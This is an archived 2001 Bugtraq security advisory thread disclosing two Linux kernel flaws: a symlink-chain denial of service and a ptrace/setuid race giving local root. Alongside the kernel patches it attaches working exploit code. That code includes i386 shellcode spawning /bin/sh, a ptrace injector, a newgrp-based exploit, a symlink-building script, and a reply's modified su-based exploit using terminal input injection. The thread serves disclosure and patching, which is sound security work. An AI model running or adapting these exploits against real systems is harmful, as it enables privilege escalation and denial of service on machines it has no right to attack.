7319581 2001-10-18 17:35 +0000  /122 rader/ Rafal Wojtczuk <nergal@7bulls.com>
Sänt av: joel@lysator.liu.se
Importerad: 2001-10-18  21:01  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <19480>
Ärende: Flaws in recent Linux kernels
------------------------------------------------------------
Hello,
	There are two bugs present in Linux kernels 2.2.x, x<=19 and
2.4.y,  y<=9. The first vulnerability results in local DoS. The
second one, involving ptrace, can be used to gain root privileges
locally (in case of  default install of most popular
distributions). Linux 2.0.x is not vulnerable  to the ptrace bug
mentioned.

I. Local DoS via deep symlinks
	An attacker can force the kernel to spend almost 
arbitrary amount of time on dereferencing a single symlink, which prevents
other processes from running. The attached 
script, mklink.sh, takes a single 
parameter N. The script creates 5 symlinks, each of 
them containing 2*N+1 path elements. When N=3, the symlinks look this way:
$ ls -lG
drwxr-xr-x    2 nergal       4096 wrz 21 14:46 l
lrwxrwxrwx    1 nergal         53 wrz 21 14:46 l0 ->
	l1/../l1/../l1/../l/../../../../../../../etc/services
lrwxrwxrwx    1 nergal         19 wrz 21 14:46 l1 -> l2/../l2/../l2/../l
lrwxrwxrwx    1 nergal         19 wrz 21 14:46 l2 -> l3/../l3/../l3/../l
lrwxrwxrwx    1 nergal         19 wrz 21 14:46 l3 -> l4/../l4/../l4/../l
lrwxrwxrwx    1 nergal         19 wrz 21 14:46 l4 -> l5/../l5/../l5/../l
drwxr-xr-x    2 nergal       4096 wrz 21 14:46 l5
drwxr-xr-x    2 rybagowa     4096 lut 27  1999 still_here

The amount of time the command "head l0" consumes (measured with time(1)) 
follows:
N	system time
10:     sys     0m0.050s
20:     sys     0m1.400s
30:     sys     0m10.150s
40:     sys     0m41.840s

	When "head l0" is being executed, other processes are not
scheduled to run. Thus the possibility of local DoS (in case of SMP
you may need to spawn  one mklink.sh process per cpu). The time spent
on dereferencing "l0" is  proportional to the number of path elements
in normalized "l0". So, when  N=120, the scheduler should be locked
out for about three hours. One can  reach N=600, in case of 2.4.9;
also in case of 2.4.9, one can create even more  (up to eight) levels
of symlinks.
	2.4.10 fixed this problem, but not completely. Under 2.4.10
"head l0" command would not block the scheduler, but it cannot be
killed. The problem is fully solved in 2.4.12.

II. Root compromise by ptrace(3)
	In order for this flaw to be exploitable, /usr/bin/newgrp must be 
setuid root and world-executable. Additionally, newgrp, when run with no
arguments, should not prompt for password. This 
conditions are satisfied in case of most popular Linux distributions (but
not Openwall GNU/*/Linux).
	Suppose the following flow of execution (initially, Process 1 and 
Process 2 are unprivileged):
Time	Process 1					Process 2
0 	ptrace(PTRACE_ATTACH, pid of Process 2,...)
1	execve /usr/bin/newgrp 
2 						execve /any/thing/suid
3	execve default user shell  
4 	execve ./insert_shellcode

	The unexpected happens at moment 2. Process 2 is still
traced, execve  /any/thing/suid succeeds, and the setuid bit is
honored ! This is so  because  1) the property of "having an
ptrace-attached child" survives the execve 2) at moment 2, the tracer
(process 1) has CAP_SYS_PTRACE set (well, has all root privs),
therefore it is allowed to trace even execve of setuid binary.
	In moment 3, newgrp executes a shell, which is an usual
behavior.  This shell is still able to control the process 2 with
ptrace. Therefore, the  "./insert_shellcode" binary is able to insert
arbitrary code into the address  space of Process 2. Game over.
	In order to exploit this kernel vulnerability, one needs a
setuid root binary which execs an user-defined binary (or a
shell). Newgrp is appropriate on most distributions. On default
install of slackware it does not work (the password fields in
/etc/group are empty, and newgrp demands a password). However, one
can use "su" on this distribution. "su"  binary is compiled without
PAM support on slackware, therefore it execs an user shell.
	Do you remember the exploit against *BSD procfs, published in
January 2000
(http://www.securityfocus.com/cgi-bin/archive.pl?id=1&mid=43189) ?
This one is very similar; a setuid binary is spawned so that the
system treats it as a tracing process. Observe that in case of
newgrp, only CAP_SYS_SETGID is required (plus probably some reserved
egid E to read gshadow; provided that gshadow would be readable by
gid E). If the file system supported granting  capabilities to
programs (not only +s bit), this bug could have been benign.
Similarly, "su" needs only CAP_SYS_SETUID+CAP_SYS_SETGID (and egid
shadow).  The "least privilege" rule, strictly applied, can save from
a lot of  unexpected trouble.
	This bug seems to be Linux-specific. I have tested FreeBSD,
OpenBSD and [older versions of] Irix and Solaris. None of the tested
systems  honored setuid bit when an executing process was traced,
even when the  tracer was root.

III. Vendor status
	The kernel developers were notified on 18th September. 
vendor-sec at lists dot de was notified on 9th October.

IV. Availability of patches.
	2.4.12 kernel fixes both presented problems. The attached patches,
2.2.19-deep-symlink.patch and 2.2.19-ptrace.patch, both blessed by Linus, 
can be used to close the vulnerability in 2.2.19. The (updated) 
Openwall GNU/*/Linux kernel patches can be retrieved from
http://www.openwall.com/linux/
Note that the default Owl installation is not vulnerable to the ptrace bug
described.

V. The exploits
	The attached mklink.sh script creates malicious symlinks. 
	ptrace-exp.c and insert_shellcode.c exploit the ptrace bug on
i386 architecture. You will probably need to adjust #define in the
latter. Note  that ptrace-exp uses LD_DEBUG variable to force a
setuid program to generate  output. This technique (stderr redirected
to a pipe, LD_DEBUG set, especially  LD_DEBUG=symbols) allows for
forced suspending of a setuid binary in a  precisely determined
moments, which may be helpful to build exploits which  rely on
race-conditions. And finally, notice that under Owl LD_DEBUG is
ignored in case of suid binaries.

Save yourself,
Nergal
http://www.7bulls.com
(7319581) /Rafal Wojtczuk <nergal@7bulls.com>/(Ombruten)
Bilaga (text/x-csrc) i text 7319582
Bilaga (text/x-sh) i text 7319583
Bilaga (text/x-csrc) i text 7319584
Bilaga (text/plain) i text 7319585
Bilaga (text/plain) i text 7319586
Kommentar i text 7320595 av Demitrious Kelly <apokalyptik@apokalyptik.com>
Kommentar i text 7326763 av Martin Kacer <m@kacer.net>
7319582 2001-10-18 17:35 +0000  /50 rader/ Rafal Wojtczuk <nergal@7bulls.com>
Importerad: 2001-10-18  21:01  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <19481>
Bilaga (text/plain) till text 7319581
Ärende: Bilaga till: Flaws in recent Linux kernels
------------------------------------------------------------
/* by Nergal */
#include <stdio.h>
#include <sys/ptrace.h>
struct user_regs_struct {
	long ebx, ecx, edx, esi, edi, ebp, eax;
	unsigned short ds, __ds, es, __es;
	unsigned short fs, __fs, gs, __gs;
	long orig_eax, eip;
	unsigned short cs, __cs;
	long eflags, esp;
	unsigned short ss, __ss;
};
/* spiritual black dimension */

char hellcode[] =
    "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80"
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

#define ADDR 0x00125000
main(int argc, char **argv)
{
	int status;
	int i, wpid, pid = atoi(argv[1]);
	struct user_regs_struct regs;
	if (ptrace(PTRACE_GETREGS, pid, 0, ®s)) {
		perror("PTRACE_GETREGS");
		exit(0);
	}
	regs.eip = ADDR;
	if (ptrace(PTRACE_SETREGS, pid, 0, ®s))
		exit(0);
	for (i = 0; i <= strlen(hellcode) + 5; i += 4)
		ptrace(PTRACE_POKETEXT, pid, ADDR + i,
		    *(unsigned int *) (hellcode + i));
	//  kill (pid, SIGSTOP);
	if (ptrace(PTRACE_DETACH, pid, 0, 0))
		exit(0);
	close(2);
	do {
		wpid = waitpid(-1, &status, 0);
		if (wpid == -1) {
			perror("waitpid");
			exit(1);
		}
	} while (wpid != pid);
}
(7319582) /Rafal Wojtczuk <nergal@7bulls.com>/------
7319583 2001-10-18 17:35 +0000  /39 rader/ Rafal Wojtczuk <nergal@7bulls.com>
Importerad: 2001-10-18  21:01  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <19482>
Bilaga (text/plain) till text 7319581
Ärende: Bilaga till: Flaws in recent Linux kernels
------------------------------------------------------------
#!/bin/sh
# by Nergal
mklink()
{
IND=$1
NXT=$(($IND+1))
EL=l$NXT/../
P=""
I=0
while [ $I -lt $ELNUM ] ; do
        P=$P"$EL"
        I=$(($I+1))
done
ln -s "$P"l$2 l$IND
}

#main program

if [ $# != 1 ] ; then
	echo A numerical argument is required.
	exit 0
fi


ELNUM=$1

mklink 4
mklink 3
mklink 2
mklink 1
mklink 0 /../../../../../../../etc/services
mkdir l5
mkdir l
(7319583) /Rafal Wojtczuk <nergal@7bulls.com>/------
7319584 2001-10-18 17:35 +0000  /87 rader/ Rafal Wojtczuk <nergal@7bulls.com>
Importerad: 2001-10-18  21:01  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <19483>
Bilaga (text/plain) till text 7319581
Ärende: Bilaga till: Flaws in recent Linux kernels
------------------------------------------------------------
/* by Nergal */
#include <stdio.h>
#include <sys/ptrace.h>
#include <fcntl.h>
#include <sys/ioctl.h>
void ex_passwd(int fd)
{
	char z;
	if (read(fd, &z, 1) <= 0) {
		perror("read:");
		exit(1);
	}
	execl("/usr/bin/passwd", "passwd", 0);
	perror("execl");
	exit(1);
}
void insert(int pid)
{
	char buf[100];
	char *ptr = buf;
	sprintf(buf, "exec ./insert_shellcode %i\n", pid);
	while (*ptr && !ioctl(0, TIOCSTI, ptr++));
}


main(int argc, char **argv)
{
	int res, fifo;
	int status;
	int pid, n;
	int pipa[2];
	char buf[1024];
	pipe(pipa);
	switch (pid = fork()) {
	case -1:
		perror("fork");
		exit(1);
	case 0:
		close(pipa[1]);
		ex_passwd(pipa[0]);
	default:;
	}


	res = ptrace(PTRACE_ATTACH, pid, 0, 0);
	if (res) {
		perror("attach");
		exit(1);
	}
	res = waitpid(-1, &status, 0);
	if (res == -1) {
		perror("waitpid");
		exit(1);
	}
	res = ptrace(PTRACE_CONT, pid, 0, 0);
	if (res) {
		perror("cont");
		exit(1);
	}
	fprintf(stderr, "attached\n");
	switch (fork()) {
	case -1:
		perror("fork");
		exit(1);
	case 0:
		close(pipa[1]);
		sleep(1);
		insert(pid);
		do {
			n = read(pipa[0], buf, sizeof(buf));
		} while (n > 0);
		if (n < 0)
			perror("read");
		exit(0);
	default:;
	}
	close(pipa[0]);

	dup2(pipa[1], 2);
	close(pipa[1]);
	/* Decrystallizing reason */
	setenv("LD_DEBUG", "libs", 1);
	/* With strength I burn */ 
	execl("/usr/bin/newgrp", "newgrp", 0);
}
(7319584) /Rafal Wojtczuk <nergal@7bulls.com>/------
7319585 2001-10-18 17:35 +0000  /61 rader/ Rafal Wojtczuk <nergal@7bulls.com>
Importerad: 2001-10-18  21:01  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <19484>
Bilaga (text/plain) till text 7319581
Ärende: Bilaga till: Flaws in recent Linux kernels
------------------------------------------------------------
--- linux-2.2.19/fs/namei.c.orig	Wed Oct 10 09:31:37 2001
+++ linux-2.2.19/fs/namei.c	Wed Oct 10 10:30:56 2001
@@ -277,6 +277,15 @@
 		result->d_op->d_revalidate(result, flags);
 	return result;
 }
+/*
+ * Yes, this really increments the link_count by 5, and
+ * decrements it by 4. Together with checking against 25,
+ * this limits recursive symlink follows to 5, while
+ * limiting consecutive symlinks to 25.
+ *
+ * Without that kind of total limit, nasty chains of consecutive
+ * symlinks can cause almost arbitrarily long lookups.
+ */
 
 static struct dentry * do_follow_link(struct dentry *base, struct dentry *dentry, unsigned int follow)
 {
@@ -284,13 +293,17 @@
 
 	if ((follow & LOOKUP_FOLLOW)
 	    && inode && inode->i_op && inode->i_op->follow_link) {
-		if (current->link_count < 5) {
+		if (current->link_count < 25) {
 			struct dentry * result;
 
-			current->link_count++;
+			if (current->need_resched) {
+				current->state = TASK_RUNNING;	
+				schedule();
+			}
+			current->link_count += 5;
 			/* This eats the base */
-			result = inode->i_op->follow_link(dentry, base, follow);
-			current->link_count--;
+			result = inode->i_op->follow_link(dentry, base, follow|LOOKUP_INSYMLINK);
+			current->link_count -= 4;
 			dput(dentry);
 			return result;
 		}
@@ -324,6 +337,8 @@
 	struct dentry * dentry;
 	struct inode *inode;
 
+	if (!(lookup_flags & LOOKUP_INSYMLINK))
+		current->link_count=0;
 	if (*name == '/') {
 		if (base)
 			dput(base);
--- linux-2.2.19/include/linux/fs.h.orig	Wed Oct 10 10:06:41
2001
+++ linux-2.2.19/include/linux/fs.h	Wed Oct 10 10:07:58 2001
@@ -872,6 +872,7 @@
 #define LOOKUP_DIRECTORY	(2)
 #define LOOKUP_SLASHOK		(4)
 #define LOOKUP_CONTINUE		(8)
+#define LOOKUP_INSYMLINK	(16)
 
 extern struct dentry * lookup_dentry(const char *, struct dentry *,
 unsigned int); extern struct dentry * __namei(const char *, unsigned
 int);
(7319585) /Rafal Wojtczuk <nergal@7bulls.com>/(Ombruten)
7319586 2001-10-18 17:35 +0000  /20 rader/ Rafal Wojtczuk <nergal@7bulls.com>
Importerad: 2001-10-18  21:01  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <19485>
Bilaga (text/plain) till text 7319581
Ärende: Bilaga till: Flaws in recent Linux kernels
------------------------------------------------------------
diff -urP linux-2.2.19/fs/exec.c linux/fs/exec.c
--- linux-2.2.19/fs/exec.c	Mon Mar 26 07:13:23 2001
+++ linux/fs/exec.c	Tue Oct  9 05:00:50 2001
@@ -552,12 +645,11 @@
 }
 
 /*
- * We mustn't allow tracing of suid binaries, unless
- * the tracer has the capability to trace anything..
+ * We mustn't allow tracing of suid binaries, no matter what.
  */
 static inline int must_not_trace_exec(struct task_struct * p)
 {
-	return (p->flags & PF_PTRACED) &&
!cap_raised(p->p_pptr->cap_effective, CAP_SYS_PTRACE);
+	return (p->flags & PF_PTRACED);
 }
 
 /*
(7319586) /Rafal Wojtczuk <nergal@7bulls.com>/(Ombruten)
7320595 2001-10-18 12:51 -0700  /65 rader/ Demitrious Kelly <apokalyptik@apokalyptik.com>
Sänt av: joel@lysator.liu.se
Importerad: 2001-10-19  00:35  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <19494>
Kommentar till text 7319581 av Rafal Wojtczuk <nergal@7bulls.com>
Ärende: RE: Flaws in recent Linux kernels
------------------------------------------------------------
From: "Demitrious Kelly" <apokalyptik@apokalyptik.com>
To: <bugtraq@securityfocus.com>
Message-ID: <APELIAMLLLIPEDGPHPHBGEIACDAA.apokalyptik@apokalyptik.com>

The description of the second problem is accurate, but I don't think
the assessment of the kernels which can or cannot be affected by this
exploit is... I'm using a newly compiled kernel Linux
2.4.12-grsec-1.8.3.

( Linux 2.4.12 with the Grsecurity Patch
http://www.grsecurity.net/features.htm )

# /* begin shell session */
[12:52:11][apokalyptik@home:~]: ./epcs_ptrace_attach_exploit
bug exploited successfully.
enjoy!
sh-2.05$
# /* end shell session */

 -- Demitrious S. Kelly

-----Original Message-----
From: Rafal Wojtczuk [mailto:nergal@7bulls.com]
Sent: Thursday, October 18, 2001 10:36 AM
To: bugtraq@securityfocus.com
Subject: Flaws in recent Linux kernels

II. Root compromise by ptrace(3)
        In order for this flaw to be exploitable, /usr/bin/newgrp must be
setuid root and world-executable. Additionally, newgrp, when run with no
arguments, should not prompt for password. This
conditions are satisfied in case of most popular Linux distributions (but
not Openwall GNU/*/Linux).
        Suppose the following flow of execution (initially, Process 1 and
Process 2 are unprivileged):
Time    Process 1                                       Process 2
0       ptrace(PTRACE_ATTACH, pid of Process 2,...)
1       execve /usr/bin/newgrp
2                                               execve /any/thing/suid
3       execve default user shell
4       execve ./insert_shellcode

        The unexpected happens at moment 2. Process 2 is still
traced, execve /any/thing/suid succeeds, and the setuid bit is
honored ! This is so because 1) the property of "having an
ptrace-attached child" survives the execve 2) at moment 2, the tracer
(process 1) has CAP_SYS_PTRACE set (well, has all root privs),
therefore it is allowed to trace even execve of setuid binary.
        In moment 3, newgrp executes a shell, which is an usual
behavior.  This shell is still able to control the process 2 with
ptrace. Therefore, the "./insert_shellcode" binary is able to insert
arbitrary code into the address space of Process 2. Game over.

        2.4.12 kernel fixes both presented problems. The attached patches,
2.2.19-deep-symlink.patch and 2.2.19-ptrace.patch, both blessed by Linus,
can be used to close the vulnerability in 2.2.19. The (updated)
Openwall GNU/*/Linux kernel patches can be retrieved from
http://www.openwall.com/linux/
Note that the default Owl installation is not vulnerable to the ptrace bug
described.
(7320595) /Demitrious Kelly <apokalyptik@apokalyptik.com>/(Ombruten)
7326763 2001-10-19 16:47 +0200  /45 rader/ Martin Kacer <m@kacer.net>
Sänt av: joel@lysator.liu.se
Importerad: 2001-10-19  20:01  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Extern kopiemottagare: Rafal Wojtczuk <nergal@7bulls.com>
Mottagare: Bugtraq (import) <19502>
Kommentar till text 7319581 av Rafal Wojtczuk <nergal@7bulls.com>
Ärende: Re: Flaws in recent Linux kernels
------------------------------------------------------------
On Thu, 18 Oct 2001, Rafal Wojtczuk wrote:

# 	In order for this flaw to be exploitable, /usr/bin/newgrp must be
# setuid root and world-executable. Additionally, newgrp, when run with no
# arguments, should not prompt for password. This
# conditions are satisfied in case of most popular Linux distributions (but
# not Openwall GNU/*/Linux).

   Well, there is a little of inaccuracy in the first sentence. This
is a kernel flaw, NOT a bug in newgrp. Other suid programs can be
used instead...

   Some distributions don't allow to export LD_* environment
variables to suid binaries (glibc issue, I think). Thus the trick
with LD_DEBUG does not work for them. Unfortunately, these
distributions are still exploitable.

   Both of the preceeding paragraphs are demonstrated by the attached
exploit, which is a modification of nergal's code. The same
insert_hellcode program is needed.

   The only difference is that /bin/su is used instead of newgrp, the
correct password is sent to su. Moreover, while su is waiting for the
password, ptraced process can easily run any suid binary, without the
need of fiddling with complex race conditions.

# 	2.4.12 kernel fixes both presented problems. The attached patches,
# 2.2.19-deep-symlink.patch and 2.2.19-ptrace.patch, both blessed by Linus,
# can be used to close the vulnerability in 2.2.19. The (updated)

   The patches can avoid my exploit too, of course.

# rely on race-conditions. And finally, notice that under Owl LD_DEBUG is
# ignored in case of suid binaries.

   The main conclusion of my posting is: having other versions of
newgrp or ignoring LD_DEBUG is insufficient! Probably, ANY Linux
distribution is vulnerable without the kernel patches!
   - M -

   PS: What about executing suid binary while some other process has
our /proc/$$/mem opened for writing? Isn't there the same problem
too?  Unfortunately, I do not have enough time to investigate that.
(7326763) /Martin Kacer <m@kacer.net>/----(Ombruten)
Bilaga (text/x-csrc) i text 7326764
7326764 2001-10-19 16:47 +0200  /97 rader/ Martin Kacer <m@kacer.net>
Bilagans filnamn: "ptrace-exp2.c"
Importerad: 2001-10-19  20:01  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Extern kopiemottagare: Rafal Wojtczuk <nergal@7bulls.com>
Mottagare: Bugtraq (import) <19503>
Bilaga (text/plain) till text 7326763
Ärende: Bilaga (ptrace-exp2.c) till: Re: Flaws in recent Linux kernels
------------------------------------------------------------
/* by Nergal, modified by Marwin */
#include <stdio.h>
#include <sys/ptrace.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <signal.h>

#define MYLOGIN   "john"
#define MYPASSWD  "hispass"

void ex_passwd(int fd)
{
	sleep(1);
	fprintf(stderr,"executing passwd\n");
	execl("/usr/bin/passwd", "passwd", 0);
	perror("execl");
	exit(1);
}
void put2tty(const char* ptr)
{
	while (*ptr && !ioctl(0, TIOCSTI, ptr++));
}
void insert(int pid)
{
	char buf[100];
	fprintf(stderr,"sending password\n");
	sprintf(buf, MYPASSWD "\n");
	put2tty(buf);
	sleep(1);
	fprintf(stderr,"sending malicious command\n");
	sprintf(buf, "exec ./insert_shellcode %i\n", pid);
	put2tty(buf);
}


main(int argc, char **argv)
{
	int res, fifo;
	int status;
	int pid, n;
	int pipa[2];
	char buf[1024];
	pipe(pipa);
	switch (pid = fork()) {
	case -1:
		perror("fork");
		exit(1);
	case 0:
		close(pipa[1]);
		ex_passwd(pipa[0]);
	default:;
	}


	res = ptrace(PTRACE_ATTACH, pid, 0, 0);
	if (res) {
		perror("attach");
		exit(1);
	}
	res = waitpid(-1, &status, 0);
	if (res == -1) {
		perror("waitpid");
		exit(1);
	}
	res = ptrace(PTRACE_CONT, pid, 0, 0);
	if (res) {
		perror("cont");
		exit(1);
	}
	fprintf(stderr, "attached\n");
	switch (fork()) {
	case -1:
		perror("fork");
		exit(1);
	case 0:
		close(pipa[1]);
		sleep(3);
		insert(pid);
		do {
			n = read(pipa[0], buf, sizeof(buf));
		} while (n > 0);
		if (n < 0)
			perror("read");
		exit(0);
	default:;
	}
	close(pipa[0]);

	close(2);
	dup2(pipa[1], 2);
	close(pipa[1]);
	/* Decrystallizing reason */
	setenv("LD_DEBUG", "libs", 1);
	/* With strength I burn */ 
	execl("/bin/su", "su", MYLOGIN, 0);
}
(7326764) /Martin Kacer <m@kacer.net>/--------------